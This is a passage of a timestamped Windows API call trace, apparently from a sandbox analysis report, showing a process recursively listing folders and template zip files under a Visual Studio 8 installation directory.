ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0257.255] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0257.255] GetProcessHeap () returned 0x550000 [0257.255] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0257.255] GetProcessHeap () returned 0x550000 [0257.255] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0257.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0257.282] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0257.283] GetProcessHeap () returned 0x550000 [0257.283] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0257.283] GetProcessHeap () returned 0x550000 [0257.283] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0257.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0257.310] GetProcessHeap () returned 0x550000 [0257.310] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0257.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0257.312] GetProcessHeap () returned 0x550000 [0257.312] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0257.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0257.312] GetProcessHeap () returned 0x550000 [0257.312] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0257.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0257.755] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0257.757] GetProcessHeap () returned 0x550000 [0257.757] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0257.757] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0257.757] GetProcessHeap () returned 0x550000 [0257.757] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0257.757] GetProcessHeap () returned 0x550000 [0257.757] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0257.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0258.149] GetProcessHeap () returned 0x550000 [0258.149] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0258.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0258.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfigurationInternal.zip", cAlternateFileName="APPCON~1.ZIP")) returned 1 [0258.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="ASSEMB~1.ZIP")) returned 1 [0258.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1 [0258.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dataset.zip", cAlternateFileName="")) returned 1 [0258.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.zip", cAlternateFileName="")) returned 1 [0258.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="EMPTYD~1.ZIP")) returned 1 [0258.158] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4faa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Explorer.zip", cAlternateFileName="")) returned 1 [0258.158] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1 [0258.158] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0xb090, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginForm.zip", cAlternateFileName="LOGINF~1.ZIP")) returned 1 [0258.158] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x36b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="MDIPAR~1.ZIP")) returned 1 [0258.158] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11042530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.zip", cAlternateFileName="")) returned 1 [0258.159] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x89b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="RESOUR~1.ZIP")) returned 1 [0258.159] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="SETTIN~1.ZIP")) returned 1 [0258.159] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11126d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0xec16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.zip", cAlternateFileName="SPLASH~1.ZIP")) returned 1 [0258.159] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111bf2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Text.zip", cAlternateFileName="")) returned 1 [0258.159] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="USERCO~1.ZIP")) returned 1 [0258.159] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="USERCO~1.ZIP")) returned 0 [0258.159] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0258.160] GetProcessHeap () returned 0x550000 [0258.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0258.160] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0258.160] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0258.160] GetProcessHeap () returned 0x550000 [0258.160] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0258.160] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="VISUAL~1")) returned 0 [0258.160] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0258.161] GetProcessHeap () returned 0x550000 [0258.161] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0258.161] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 0 [0258.161] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0258.161] GetProcessHeap () returned 0x550000 [0258.161] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0258.162] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0258.162] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0258.162] GetProcessHeap () returned 0x550000 [0258.162] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0258.162] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0258.163] GetProcessHeap () returned 0x550000 [0258.163] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0258.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0258.163] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.163] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 1 [0258.163] GetProcessHeap () returned 0x550000 [0258.163] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0258.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0258.163] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.163] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.163] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0258.164] GetProcessHeap () returned 0x550000 [0258.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0258.164] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 0 [0258.164] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0258.164] GetProcessHeap () returned 0x550000 [0258.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0258.164] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0258.164] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0258.164] GetProcessHeap () returned 0x550000 [0258.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0258.164] FindNextFileW (in: hFindFile=0x639708, 